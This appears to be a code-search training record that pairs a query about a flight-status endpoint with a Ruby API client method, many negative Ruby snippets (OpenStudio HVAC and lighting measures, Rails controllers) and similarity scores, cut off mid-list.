provided occupancy schedule file at: ' + csv_file.to_s)\n else\n # Check if schedule file at several places\n # 1. Default fils path when run with OSW in CLI\n csv_path_lookup_1 = File.expand_path(\"../..\", measure_root_path) + \"/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"First lookup location: \" + csv_path_lookup_1\n runner.registerInfo(\"First lookup location: \" + csv_path_lookup_1)\n # 2. Default path when run with OpenStudio CLI\n csv_path_lookup_2 = File.expand_path(\"../..\", model_temp_run_path) + \"/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Second lookup location: \" + csv_path_lookup_2\n runner.registerInfo(\"Second lookup location: \" + csv_path_lookup_2)\n # 3. Default path when run with OpenStudio GUI\n csv_path_lookup_3 = File.expand_path(\"../../..\", model_temp_run_path) + \"/resources/files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Third lookup location: \" + csv_path_lookup_3\n runner.registerInfo(\"Third lookup location: \" + csv_path_lookup_3)\n # 4. Generated files folder when run with rspec\n csv_path_lookup_4 = File.expand_path(\"..\", model_temp_run_path) + \"/generated_files/#{@@default_occupant_schedule_filename}\"\n puts '#' * 80\n puts \"Forth lookup location: \" + csv_path_lookup_4\n runner.registerInfo(\"Forth lookup location: \" + csv_path_lookup_4)\n # 5. Generated files folder with OpenStudio V2.9.0+\n csv_path_lookup_5 = File.join(File.expand_path(\"../..\", model_temp_run_path), 'generated_files', @@default_occupant_schedule_filename)\n puts '#' * 80\n puts \"Fifth lookup location: \" + csv_path_lookup_5\n runner.registerInfo(\"Fifth lookup location: \" + csv_path_lookup_5)\n\n if File.file?(csv_path_lookup_1)\n csv_file = csv_path_lookup_1\n elsif File.file?(csv_path_lookup_2)\n csv_file = csv_path_lookup_2\n elsif File.file?(csv_path_lookup_3)\n csv_file = csv_path_lookup_3\n elsif File.file?(csv_path_lookup_4)\n csv_file = csv_path_lookup_4 \n elsif File.file?(csv_path_lookup_5)\n csv_file = csv_path_lookup_5\n else\n csv_file = ''\n end\n puts 'Use default occupancy schedule file at: ' + csv_file.to_s\n runner.registerInfo('Use default occupancy schedule file at: ' + csv_file.to_s)\n end\n\n # Get the spaces with occupancy count schedule available\n v_spaces_occ_sch = File.readlines(csv_file)[3].split(',') # Room ID is saved in 4th row of the occ_sch file\n v_headers = Array.new\n v_spaces_occ_sch.each do |space_occ_sch|\n if !['Room ID', 'Outdoor', 'Outside building'].include? space_occ_sch and !space_occ_sch.strip.empty?\n v_headers << space_occ_sch\n end\n end\n v_headers = [\"Time\"] + v_headers\n\n # report initial condition of model\n runner.registerInfo(\"The building has #{v_headers.length - 1} spaces with available occupant schedule file.\")\n\n # Read the occupant count schedule file and clean it\n clean_csv = File.readlines(csv_file).drop(6).join\n csv_table_sch = CSV.parse(clean_csv, headers: true)\n new_csv_table = csv_table_sch.by_col!.delete_if do |column_name, column_values|\n !v_headers.include? column_name\n end\n\n runner.registerInfo(\"Successfully read occupant count schedule from CSV file.\")\n runner.registerInfo(\"Creating new lighting schedules...\")\n\n # Create lighting schedule based on the occupant count schedule\n v_cols = Array.new\n v_ts = new_csv_table.by_col!['Time']\n v_headers.each do |header|\n if header != 'Time'\n space_name = header\n v_occ_n = new_csv_table.by_col![space_name]\n v_light = create_lighting_sch_from_occupancy_count(space_name, v_ts, v_occ_n, @@off_delay)\n v_cols << v_light\n end\n end\n\n runner.registerInfo(\"Writing new lighting schedules to CSV file.\")\n # Write new lighting schedule file to CSV\n file_name_light_sch = \"#{model_temp_run_path}/#{@@lighting_schedule_CSV_name}\"\n vcols_to_csv(v_cols, file_name_light_sch)\n\n # Add new lighting schedule from the CSV file created\n runner.registerInfo(\"Removing old OS:Lights and OS:Lights:Definition for office and conference rooms.\")\n # Remove old lights definition objects for office and conference rooms\n v_space_types.each do |space_type|\n space_type.spaces.each do |space|\n selected_space_type = lght_space_type_arg_vals[space.name.to_s]\n if (@@office_type_names.include? selected_space_type) || (@@conference_room_type_names.include? selected_space_type)\n space_type.lights.each do |lght|\n puts 'Remove old lights definition object: ' + lght.lightsDefinition.name.to_s\n lght.lightsDefinition.remove\n end\n end\n end\n end\n\n # Remove old lights objects for office and conference rooms\n # Caution: the order of deletion matters\n v_space_types.each do |space_type|\n space_type.spaces.each do |space|\n selected_space_type = lght_space_type_arg_vals[space.name.to_s]\n if (@@office_type_names.include? selected_space_type) || (@@conference_room_type_names.include? selected_space_type)\n space_type.lights.each do |lght|\n puts 'Remove old lights object: ' + lght.name.to_s\n lght.remove\n end\n end\n end\n end\n\n puts '---> Create new lighting schedules from CSV.'\n\n runner.registerInfo(\"Adding new OS:Schedule:File objects to the model....\")\n v_spaces = model.getSpaces\n v_spaces.each do |space|\n v_headers.each_with_index do |s_space_name, i|\n if s_space_name == space.name.to_s\n col = i\n temp_file_path = file_name_light_sch\n sch_file_name = space.name.to_s + ' lght sch'\n schedule_file = get_os_schedule_from_csv(model, temp_file_path, sch_file_name, col, skip_row = 1)\n schedule_file.setMinutesperItem(@@minute_per_item.to_s)\n model = add_light(model, space, schedule_file)\n end\n end\n end\n\n # report final condition of model\n runner.registerFinalCondition(\"Finished creating and adding new lighting schedules for #{v_headers.length - 1} spaces.\")\n\n return true\n end",
"def span\n measure\n @span\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # System Type 2: PTHP, Residential\n # This measure creates:\n # a constant volume packaged terminal heat pump unit with DX heating \n # and cooling for each zone in the building\n \n always_on = model.alwaysOnDiscreteSchedule\n\n # Make a PTHP for each zone\n model.getThermalZones.each do |zone|\n \n fan = OpenStudio::Model::FanConstantVolume.new(model,always_on)\n fan.setPressureRise(300)\n\n supplemental_htg_coil = OpenStudio::Model::CoilHeatingElectric.new(model,always_on)\n\n clg_cap_f_of_temp = OpenStudio::Model::CurveBiquadratic.new(model)\n clg_cap_f_of_temp.setCoefficient1Constant(0.942587793)\n clg_cap_f_of_temp.setCoefficient2x(0.009543347)\n clg_cap_f_of_temp.setCoefficient3xPOW2(0.0018423)\n clg_cap_f_of_temp.setCoefficient4y(-0.011042676)\n clg_cap_f_of_temp.setCoefficient5yPOW2(0.000005249)\n clg_cap_f_of_temp.setCoefficient6xTIMESY(-0.000009720)\n clg_cap_f_of_temp.setMinimumValueofx(17.0)\n clg_cap_f_of_temp.setMaximumValueofx(22.0)\n clg_cap_f_of_temp.setMinimumValueofy(13.0)\n clg_cap_f_of_temp.setMaximumValueofy(46.0)\n\n clg_cap_f_of_flow = OpenStudio::Model::CurveQuadratic.new(model)\n clg_cap_f_of_flow.setCoefficient1Constant(0.718954)\n clg_cap_f_of_flow.setCoefficient2x(0.435436)\n clg_cap_f_of_flow.setCoefficient3xPOW2(-0.154193)\n clg_cap_f_of_flow.setMinimumValueofx(0.75)\n clg_cap_f_of_flow.setMaximumValueofx(1.25)\n\n clg_energy_input_ratio_f_of_temp = OpenStudio::Model::CurveBiquadratic.new(model)\n clg_energy_input_ratio_f_of_temp.setCoefficient1Constant(0.342414409)\n clg_energy_input_ratio_f_of_temp.setCoefficient2x(0.034885008)\n clg_energy_input_ratio_f_of_temp.setCoefficient3xPOW2(-0.000623700)\n clg_energy_input_ratio_f_of_temp.setCoefficient4y(0.004977216)\n clg_energy_input_ratio_f_of_temp.setCoefficient5yPOW2(0.000437951)\n clg_energy_input_ratio_f_of_temp.setCoefficient6xTIMESY(-0.000728028)\n clg_energy_input_ratio_f_of_temp.setMinimumValueofx(17.0)\n clg_energy_input_ratio_f_of_temp.setMaximumValueofx(22.0)\n clg_energy_input_ratio_f_of_temp.setMinimumValueofy(13.0)\n clg_energy_input_ratio_f_of_temp.setMaximumValueofy(46.0)\n\n clg_energy_input_ratio_f_of_flow = OpenStudio::Model::CurveQuadratic.new(model)\n clg_energy_input_ratio_f_of_flow.setCoefficient1Constant(1.1552)\n clg_energy_input_ratio_f_of_flow.setCoefficient2x(-0.1808)\n clg_energy_input_ratio_f_of_flow.setCoefficient3xPOW2(0.0256)\n clg_energy_input_ratio_f_of_flow.setMinimumValueofx(0.5)\n clg_energy_input_ratio_f_of_flow.setMaximumValueofx(1.5)\n\n clg_part_load_fraction = OpenStudio::Model::CurveQuadratic.new(model)\n clg_part_load_fraction.setCoefficient1Constant(0.75)\n clg_part_load_fraction.setCoefficient2x(0.25)\n clg_part_load_fraction.setCoefficient3xPOW2(0.0)\n clg_part_load_fraction.setMinimumValueofx(0.0)\n clg_part_load_fraction.setMaximumValueofx(1.0)\n\n clg_coil = OpenStudio::Model::CoilCoolingDXSingleSpeed.new(model,\n always_on,\n clg_cap_f_of_temp,\n clg_cap_f_of_flow,\n clg_energy_input_ratio_f_of_temp,\n clg_energy_input_ratio_f_of_flow,\n clg_part_load_fraction)\n\n htg_cap_f_of_temp = OpenStudio::Model::CurveCubic.new(model)\n htg_cap_f_of_temp.setCoefficient1Constant(0.758746)\n htg_cap_f_of_temp.setCoefficient2x(0.027626)\n htg_cap_f_of_temp.setCoefficient3xPOW2(0.000148716)\n htg_cap_f_of_temp.setCoefficient4xPOW3(0.0000034992)\n htg_cap_f_of_temp.setMinimumValueofx(-20.0)\n htg_cap_f_of_temp.setMaximumValueofx(20.0)\n\n htg_cap_f_of_flow = OpenStudio::Model::CurveCubic.new(model)\n htg_cap_f_of_flow.setCoefficient1Constant(0.84)\n htg_cap_f_of_flow.setCoefficient2x(0.16)\n htg_cap_f_of_flow.setCoefficient3xPOW2(0.0)\n htg_cap_f_of_flow.setCoefficient4xPOW3(0.0)\n htg_cap_f_of_flow.setMinimumValueofx(0.5)\n htg_cap_f_of_flow.setMaximumValueofx(1.5)\n\n htg_energy_input_ratio_f_of_temp = OpenStudio::Model::CurveCubic.new(model)\n htg_energy_input_ratio_f_of_temp.setCoefficient1Constant(1.19248)\n htg_energy_input_ratio_f_of_temp.setCoefficient2x(-0.0300438)\n htg_energy_input_ratio_f_of_temp.setCoefficient3xPOW2(0.00103745)\n htg_energy_input_ratio_f_of_temp.setCoefficient4xPOW3(-0.000023328)\n htg_energy_input_ratio_f_of_temp.setMinimumValueofx(-20.0)\n htg_energy_input_ratio_f_of_temp.setMaximumValueofx(20.0)\n\n htg_energy_input_ratio_f_of_flow = OpenStudio::Model::CurveQuadratic.new(model)\n htg_energy_input_ratio_f_of_flow.setCoefficient1Constant(1.3824)\n htg_energy_input_ratio_f_of_flow.setCoefficient2x(-0.4336)\n htg_energy_input_ratio_f_of_flow.setCoefficient3xPOW2(0.0512)\n htg_energy_input_ratio_f_of_flow.setMinimumValueofx(0.0)\n htg_energy_input_ratio_f_of_flow.setMaximumValueofx(1.0)\n\n htg_part_load_fraction = OpenStudio::Model::CurveQuadratic.new(model)\n htg_part_load_fraction.setCoefficient1Constant(0.75)\n htg_part_load_fraction.setCoefficient2x(0.25)\n htg_part_load_fraction.setCoefficient3xPOW2(0.0)\n htg_part_load_fraction.setMinimumValueofx(0.0)\n htg_part_load_fraction.setMaximumValueofx(1.0)\n\n htg_coil = OpenStudio::Model::CoilHeatingDXSingleSpeed.new( model,\n always_on,\n htg_cap_f_of_temp,\n htg_cap_f_of_flow,\n htg_energy_input_ratio_f_of_temp,\n htg_energy_input_ratio_f_of_flow,\n htg_part_load_fraction ) \n\n pthp = OpenStudio::Model::ZoneHVACPackagedTerminalHeatPump.new(model,\n always_on, \n fan,\n htg_coil,\n clg_coil,\n supplemental_htg_coil)\n\n pthp.setName(\"#{zone.name} PTHP\")\n pthp.addToThermalZone(zone)\n\n end\n\n \n return true\n \n end"
] | [
"0.79848564",
"0.7639647",
"0.76355976",
"0.7170129",
"0.66926914",
"0.66926914",
"0.66718984",
"0.66311747",
"0.6599127",
"0.65870225",
"0.65324444",
"0.6481582",
"0.6405596",
"0.64028287",
"0.6333309",
"0.6283632",
"0.6283632",
"0.6283632",
"0.6281165",
"0.6269874",
"0.62425435",
"0.62203735",
"0.6198304",
"0.6196627",
"0.6196627",
"0.61319697",
"0.6107745",
"0.60714525",
"0.60513526",
"0.601827",
"0.6008391",
"0.6008391",
"0.60008335",
"0.5976995",
"0.59641606",
"0.5962238",
"0.5958165",
"0.59570605",
"0.59570605",
"0.59439784",
"0.5934565",
"0.5928137",
"0.5920926",
"0.5916211",
"0.59129107",
"0.5911706",
"0.59022516",
"0.5872101",
"0.5865909",
"0.58645797",
"0.5847354",
"0.583844",
"0.58373237",
"0.57887447",
"0.5772885",
"0.57687855",
"0.5756301",
"0.5745138",
"0.5740855",
"0.5723286",
"0.57180965",
"0.5713821",
"0.5698708",
"0.5697907",
"0.56978434",
"0.56891346",
"0.5688938",
"0.5685465",
"0.56740844",
"0.5662743",
"0.5649326",
"0.56483626",
"0.5646554",
"0.56390476",
"0.56390476",
"0.5633756",
"0.56218606",
"0.56218606",
"0.5608723",
"0.5608213",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.55982304",
"0.559522",
"0.559522",
"0.559522",
"0.55878526",
"0.558349",
"0.55677843",
"0.5567233",
"0.5564496",
"0.55636495",
"0.55590993",
"0.5556679",
"0.5547891"
] | 0.0 | -1 |
This endpoint allows to search the status of flight. | def create_flight_status(body)
# Prepare query url.
_path_url = '/v1/airline/flights/actions/status'
_query_builder = Configuration.get_base_uri
_query_builder << _path_url
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json',
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = @http_client.post(
_query_url,
headers: _headers,
parameters: body.to_json
)
_context = execute_request(_request)
validate_response(_context)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_context.response.raw_body)
FlightStatusResponse.from_hash(decoded)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def flights\n result = Search.search_flights(params)\n if result\n # The search gave us something so we can return it\n render json: result\n else\n # Something went wrong, return a 500 error with no body\n render status: 500, json: nil\n end\n end",
"def search_status(...)\n SearchService.active_status\n end",
"def status\n get('/api/status')\n end",
"def trip_status\n label = request_label(:status, trip_id)\n \n @http_request_bundler.add(\n label, \n @url + \"/trip_status\", \n :get,\n head: headers,\n query: { trip_id: trip_id, customer_id: customer_id, customer_token: customer_token }\n ).response!(label) # Always make fresh calls for status\n end",
"def status\n sanitized = whitelist(params, :status)\n\n @travel = Travels::Travel.find(sanitized[:id])\n\n respond_to do |format|\n format.html # status.html.erb\n format.json { render json: { status: @travel.state.to_s } }\n end\n end",
"def flights(params={})\n perform_get('/flights.xml', params)\n end",
"def index\n @flightsearches = Flightsearch.all\n end",
"def query_status(params, path_url = 'transfers', class_type = 'Transfer')\n super\n end",
"def index\n if params[:status] \n status = params[:status].to_sym\n if Status.statuses.has_key? status\n status_id = Status.statuses[status] \n @tickets = Ticket.where(status_id: status_id)\n end\n elsif params[:search]\n search = Ticket.search{fulltext params[:search]}\n @tickets = search.results\n else\n @tickets = Ticket.all\n end\n end",
"def status\n request :get, \"_status\"\n end",
"def index\n @flights = Flight.all\n if params[:search]\n @flights = Flight.search(params[:search]).order(\"created_at DESC\")\n else\n @flights = Flight.all.order('created_at DESC')\n end\n end",
"def status\n service.get(\"\")\n end",
"def index\n if params[:status]\n @tickets = Ticket.where(status: params[:status])\n else\n @tickets = Ticket.all\n @tickets_waiting = Ticket.where(status:\"waiting\")\n @tickets_resolved = Ticket.where(status:\"resolved\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tickets }\n end\n end",
"def index\n status = params[:status]\n if status\n @tickets = Ticket.where(:status => status)\n @header = status.is_a?(Array) ? status.join(' and ') : status + ' tickets'\n elsif params[:search].present?\n @search = Ticket.search do\n fulltext params[:search]\n end\n @tickets = @search.results\n else\n @tickets = Ticket.all\n end\n end",
"def statuses\n request(:get, \"applicant_tracking/statuses\")\n end",
"def set_flightsearch\n @flightsearch = Flightsearch.find(params[:id])\n end",
"def index\n @rfqs = Rfq.find(:all, :conditions => {:status => false})\n end",
"def show\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end",
"def index\n @airport_options = Airport.all.map { |u| [u.code, u.id] }\n @date_options = Flight.all.map { |u| u.takeoff.to_date }.uniq\n\n return unless params[:flight]\n\n params[:flight].reject! { |_, v| v.blank? }\n @flights = Flight.search(params[:flight])\n end",
"def statuses\n api.get('status')\n end",
"def index\n @flightstats = Flightstat.all\n end",
"def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end",
"def status\n debug { \"status\" }\n verify_response { Remote.get('/status', :api_key => api_key ) }\n end",
"def index\n @flight_infos = FlightInfo.all\n end",
"def index\n @flights = Flight.all\n\n end",
"def index\n @flights = Flight.page(params[:page]).where('departure_date > ?', DateTime.now);\n end",
"def index\n @reqstatuses = Reqstatus.all\n end",
"def index\n @flights = Flight.all\n end",
"def index\n @flights = Flight.all\n end",
"def status\n if params[:reference]\n @orders = Order.where([\"reference = ?\", params[:reference]])\n elsif params[:client_name]\n @orders = Order.where([\"client_name = ?\", params[:client_name].downcase])\n @orders = @orders.page(params[:page] || 1).per(params[:per_page] || 10)\n else\n render json: {error: \"bad parameters\"}, status: :bad_request\n return\n end\n render json: @orders, status: :ok\n end",
"def retrieve_status\n \n end",
"def index\n @reqdevstatuses = Reqdevstatus.all\n end",
"def index\n @service_statuses = ServiceStatus.all\n end",
"def index\n @listings = Listing.where(status: :paid) \n end",
"def status\n params[\"Status\"]\n end",
"def index\n flights = scope.includes(:departure_airport, :destination_airport,\n :flight_executions).page(page)\n .per(per)\n json_response(PageDecorator.decorate(flights)\n .as_json(flight_details: true), :ok)\n end",
"def show\n @kf_status = Kf::Status.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_status }\n end\n end",
"def index\n @status = params[:status]\n @orders = Order.last_opened.page params[:page]\n @orders = @orders.where status: @status if @status\n end",
"def query_status(class_type, path_url)\n query(class_type, path_url)\n end",
"def index\n @flights = Flight.all\n end",
"def show\n json_response(@flight.decorate.as_json(flight_details: true), :ok)\n end",
"def list_feature_status()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('partner', 'listFeatureStatus', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def api_status\n path = self.api_root + '/status'\n # make sure access token is still valid\n headers = {\n 'Authorization' => \"Bearer #{self.valid_access_token['access_token']}\",\n 'Content-Type' => 'application/json',\n 'Accept' => 'application/json'\n }\n begin\n response = RestClient::Request.execute(method: :get, url: path, headers: headers)\n JSON.parse(response.body)\n rescue RestClient::ExceptionWithResponse => e\n Rails.logger.error \"FireCloud status error: #{e.message}\"\n e.response\n end\n end",
"def query_status(params, path_url = 'payments', class_type = 'PAY')\n super\n end",
"def index\n\n @flights = Flight.all\n @launching_locations = Location.all.select{ |x| x.launched_flights.any? }\n @docking_locations = Location.all.select{ |x| x.docked_flights.any? }\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @flights }\n end\n end",
"def statuses; end",
"def index\n @vacancy_request_statuses = VacancyRequestStatus.all\n end",
"def flight_search_query\n {\n CoreQuery: {\n OriginDestinations: {\n OriginDestination: {\n Departure: {\n AirportCode: params[:departure_airport_code],\n Date: params[:departure_date]\n },\n Arrival: {\n AirportCode: params[:arrival_airport_code]\n }\n }\n }\n }\n }\n end",
"def get_status\n shipment= Shipment.find_by_tracking(params[:tracking_no])\n shipment.status if shipment\n end",
"def status request\n @status\n end",
"def index\n @flights = Flight.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 25, :page => params[:page])\n end",
"def index\n @check_vehicle_statuses = CheckVehicleStatus.all\n end",
"def show\n @vacation = Vacation.find(params[:id])\n @vacation.define_status\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vacation }\n end\n end",
"def show\n @searchstatus = Searchstatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @searchstatus }\n end\n end",
"def index\n @txdotlights = Txdotlight.all.paginate(:per_page =>15, :page => params[:page])\n .where(\"intersection ILIKE ?\",\"%#{params[:address_search]}%\").where(\"name ILIKE ?\",\"%#{params[:name_search]}%\").where(\"callback ILIKE ?\",\"%#{params[:phone_search]}%\").where(\"unitassigned ILIKE ?\",\"%#{params[:unit_search]}%\")\n end",
"def status(params)\n http_helper.send_post_request(\"#{@url_prefix}/status\", params)\n end",
"def Search query\n \n APICall(path: \"search.json?query=#{query}\",method: 'GET')\n \n end",
"def index\n @statuses = Status.search.page params[:page]\n end",
"def index\n\t\t@leads = Lead.all\n\t\t\n\t\t\n\n\t\tlogger.info params[:status]\n\t\trespond_to do |format|\n\t\t format.html # index.html.erb\n\t\t format.json { render json: @leads }\n\t\tend\n\tend",
"def index\n params[:per_page] = perpage if params[:per_page].nil?\n params[:page] = 1 if params[:page].blank?\n conditions = {:status_type => 0 ,:relation_id => 0 ,:count_type => 0 }\n conditions[:status_type] = params[:status_type] unless params[:status_type].blank?\n conditions[:relation_id] = params[:relation_id] unless params[:relation_id].blank?\n conditions[:count_type] = params[:count_type] unless params[:count_type].blank?\n @kf_statuses = Kf::Status.order(\"date DESC\").where(conditions).paginate(:page => params[:page], :per_page => params[:per_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kf_statuses }\n end\n end",
"def flights_fields\n render json: Search.getFlightsFieldInfo()\n end",
"def get_service_status(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'GetServiceStatus'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :account_id\n\t\t\targs[:query]['AccountId'] = optional[:account_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"def stations_status(options={})\n get(stations_path, options.merge(:updateOnly => true))\n end",
"def status\n fetch(@config[:finance_path], 'Finance.getStatus')\n end",
"def get_airdrop_status(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/airdrop/status\", params)\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def get_service_status\n operation('GetServiceStatus')\n run\n end",
"def index\n @suggestions = Suggestion.all\n if params[:status] and params[:status] != \"All\"\n @suggestions = @suggestions.where(\"status like ?\", \"%#{params[:status]}%\")\n end\n end",
"def getStatus\n fetch(@config[:finance_path], 'Finance.getStatus')\n end",
"def active_flights\n flights = self.flights.active.in_order_of_creation\n flights.collect do |flight_obj|\n flight_obj.update_status_and_location\n end\n end",
"def status\n get_json('status.json')\n end",
"def index\n @listings = Listing.search(params[:search], params[:city])\n end",
"def index\n @orders = Order.all.where(status: 'completed')\n end",
"def index\n @filter = params[:status] ||= :pending\n\n @todos =\n scoped\n .order(created_at: :desc)\n .where(status: params[:status])\n .normal\n end",
"def get_status\n status_booking_response = hotel_service.get_status(params)\n service_reponse = process_response(status_booking_response, 'HotelItineraryResponse')\n if service_reponse[\"status\"] == OK\n response = JSON.parse(service_reponse[\"response\"])\n booking = response[\"HotelItineraryResponse\"]\n @booking_info = booking[\"Itinerary\"].except(\"HotelConfirmation\")\n hotels_confirmation = booking[\"Itinerary\"][\"HotelConfirmation\"]\n if hotels_confirmation.kind_of? Array\n @hotels_confirmation = hotels_confirmation\n @hotel_info = @hotels_confirmation.first[\"Hotel\"].first\n else\n @hotels_confirmation = []\n @hotels_confirmation << hotels_confirmation\n @hotel_info = hotels_confirmation[\"Hotel\"].first\n end\n\n respond_to do |format|\n format.html # get_status.html.erb\n format.xml { render :xml => @hotel }\n end\n else\n ##TODO: handle Errors here\n @error = service_reponse[\"error\"]\n respond_to do |format|\n format.html { render :template => \"shared/error\"}\n format.json { render :json => @error }\n end\n end\n end",
"def search_for_active_towns\n q = params[:query].mb_chars.capitalize.to_s\n @towns = Town.get_central_authority_towns(q).order_by(:level => :asc)\n respond_to do |format|\n format.json { render 'search'}\n end\n end",
"def status\n get_request_without_headers(endpoint_uri('status'))\n end",
"def show\n respond_with(@scan.status)\n end",
"def index\n return render json: {message: 'Public users cannot list tours'}, status: 403 if current_user.public?\n @tours = TourServices::TourFilterApi.new(user: current_user,\n status: params[:status],\n type: params[:type],\n vehicle_type: params[:vehicle_type],\n latitude: params[:latitude],\n longitude: params[:longitude],\n distance: params[:distance],\n page: params[:page],\n per: per).tours\n render json: @tours, status: 200, each_serializer: ::V1::TourSerializer, scope: {user: current_user}\n end",
"def getStatus()\n params = Hash.new\n return doCurl(\"get\",\"/status\",params)\n end",
"def index\n @status_requests = StatusRequest.all\n end",
"def index\n @antrag_statuses = AntragStatus.all\n end",
"def index\n @travelers = Traveler.search(params[:search])\n end",
"def flight(id)\n perform_get(\"/flights/#{id}.xml\")\n end",
"def index \n local = params[:local]\n \n if (local.to_s.empty?)\n render json: 'Not found', status: 404 \n else\n params = {:query => local, :access_key => \"f613d33c4f74fc5b648685dc3428d345\"}\n conn = Faraday.get(\"http://api.weatherstack.com/current\", params) do |req|\n req.headers['Content-Type'] = 'application/json'\n end\n render json: conn.body \n end\n end",
"def index\n @statuses = Status.all\n end",
"def index\n @statuses = Status.all\n end",
"def show_status(status_id)\n get \"statuses/show/#{status_id}\"\n end",
"def index\n @routes = Route.where(:user_id => current_user.id)\n\n # if @routes.offer == true\n # @status = false\n # else\n # @status = true\n # end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @routes }\n end\n end",
"def completed_orders\n orders = current_user.restaurant.orders.where(\"status = ? OR status = ? \", 7, 8)\n render json: orders, status: :ok\n end",
"def flight_low_fare_search_with_http_info(apikey, origin, destination, departure_date, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.flight_low_fare_search ...\"\n end\n # verify the required parameter 'apikey' is set\n fail ArgumentError, \"Missing the required parameter 'apikey' when calling DefaultApi.flight_low_fare_search\" if apikey.nil?\n # verify the required parameter 'origin' is set\n fail ArgumentError, \"Missing the required parameter 'origin' when calling DefaultApi.flight_low_fare_search\" if origin.nil?\n # verify the required parameter 'destination' is set\n fail ArgumentError, \"Missing the required parameter 'destination' when calling DefaultApi.flight_low_fare_search\" if destination.nil?\n # verify the required parameter 'departure_date' is set\n fail ArgumentError, \"Missing the required parameter 'departure_date' when calling DefaultApi.flight_low_fare_search\" if departure_date.nil?\n # resource path\n local_var_path = \"/flights/low-fare-search\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'apikey'] = apikey\n query_params[:'origin'] = origin\n query_params[:'destination'] = destination\n query_params[:'departure_date'] = departure_date\n query_params[:'return_date'] = opts[:'return_date'] if !opts[:'return_date'].nil?\n query_params[:'arrive_by'] = opts[:'arrive_by'] if !opts[:'arrive_by'].nil?\n query_params[:'return_by'] = opts[:'return_by'] if !opts[:'return_by'].nil?\n query_params[:'adults'] = opts[:'adults'] if !opts[:'adults'].nil?\n query_params[:'children'] = opts[:'children'] if !opts[:'children'].nil?\n query_params[:'infants'] = opts[:'infants'] if !opts[:'infants'].nil?\n query_params[:'include_airlines'] = @api_client.build_collection_param(opts[:'include_airlines'], :csv) if !opts[:'include_airlines'].nil?\n query_params[:'exclude_airlines'] = @api_client.build_collection_param(opts[:'exclude_airlines'], :csv) if !opts[:'exclude_airlines'].nil?\n query_params[:'nonstop'] = opts[:'nonstop'] if !opts[:'nonstop'].nil?\n query_params[:'max_price'] = opts[:'max_price'] if !opts[:'max_price'].nil?\n query_params[:'currency'] = opts[:'currency'] if !opts[:'currency'].nil?\n query_params[:'travel_class'] = opts[:'travel_class'] if !opts[:'travel_class'].nil?\n query_params[:'number_of_results'] = opts[:'number_of_results'] if !opts[:'number_of_results'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LowFareSearchResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#flight_low_fare_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @services = Service.where search_params\n respond_with @services if stale? @services\n end",
"def is_completed\n params[:search].present? ? params[:search][:status].eql?('Completed') : false\n end"
] | [
"0.6849581",
"0.66540754",
"0.6615017",
"0.6564172",
"0.6551583",
"0.6477663",
"0.6398683",
"0.6373105",
"0.6364397",
"0.62830853",
"0.62811834",
"0.62435615",
"0.62251574",
"0.6195616",
"0.6176018",
"0.61632705",
"0.6114024",
"0.61049366",
"0.6090004",
"0.60806763",
"0.6065734",
"0.60494626",
"0.6032933",
"0.60195833",
"0.6012771",
"0.60096085",
"0.5993581",
"0.5989819",
